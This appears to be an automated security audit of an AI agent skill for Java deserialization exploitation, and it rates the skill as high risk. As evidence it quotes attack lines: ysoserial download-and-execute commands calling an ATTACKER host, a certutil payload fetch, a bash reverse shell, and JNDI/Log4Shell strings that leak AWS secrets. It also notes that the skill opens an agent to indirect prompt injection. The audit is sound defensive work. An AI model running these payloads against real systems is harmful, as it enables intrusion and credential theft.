web-deserialization-java

Fail

Audited by Gen Agent Trust Hub on Oct 6, 2026

Risk Level: HIGHREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONDYNAMIC_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill provides explicit instructions and command templates for downloading and executing scripts from remote, untrusted sources.
  • Evidence (SKILL.md): java -jar ysoserial.jar CommonsCollections5 'curl http://ATTACKER/shell.sh -o /tmp/s.sh' followed by java -jar ysoserial.jar CommonsCollections5 'bash /tmp/s.sh'.
  • Evidence (SKILL.md): Windows-specific download and execution template using certutil: cmd /c certutil -urlcache -split -f http://ATTACKER/payload.exe c:\temp\p.exe.
  • [COMMAND_EXECUTION]: The skill includes instructions for establishing interactive reverse shells on a target system.
  • Evidence (SKILL.md): bash -i >& /dev/tcp/ATTACKER/4444 0>&1.
  • Evidence (SKILL.md): Use of bash -c with brace encoding to bypass shell character restrictions.
  • [DATA_EXFILTRATION]: The instructions demonstrate how to exfiltrate sensitive environment variables using JNDI/Log4Shell injection points.
  • Evidence (SKILL.md): Payload template targeting credentials: ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.CALLBACK/a}.
  • Evidence (SKILL.md): Exfiltration of system information: ${jndi:ldap://${sys:user.name}.CALLBACK/a}.
  • [DYNAMIC_EXECUTION]: The skill relies on the runtime execution of various Java Archive (JAR) files and the dynamic compilation of exploit classes.
  • Evidence (SKILL.md): Execution of external tools such as ysoserial.jar, marshalsec.jar, and JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar.
  • Evidence (SKILL.md): Compilation and execution of a custom Java exploit class: javac Exploit.java -source 8 -target 8 followed by remote class loading via LDAP.
  • [INDIRECT_PROMPT_INJECTION]: The skill has a significant attack surface for indirect prompt injection as it is designed to ingest and process untrusted data from target web applications (headers, cookies, and serialized objects) to determine execution logic.
  • Ingestion points: Analysis of HTTP parameters, cookies, response headers, and serialized binary data in Step 1: Assess.
  • Boundary markers: None present; the agent is instructed to process external signatures directly.
  • Capability inventory: Shell command execution, remote script downloads, file writing, and network operations.
  • Sanitization: No explicit sanitization or validation of the ingested external content is mentioned before it is used to generate payloads.
Recommendations
  • HIGH: Downloads and executes remote code from: http://ATTACKER/shell.sh - DO NOT USE without thorough review
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Oct 6, 2026, 04:11 AM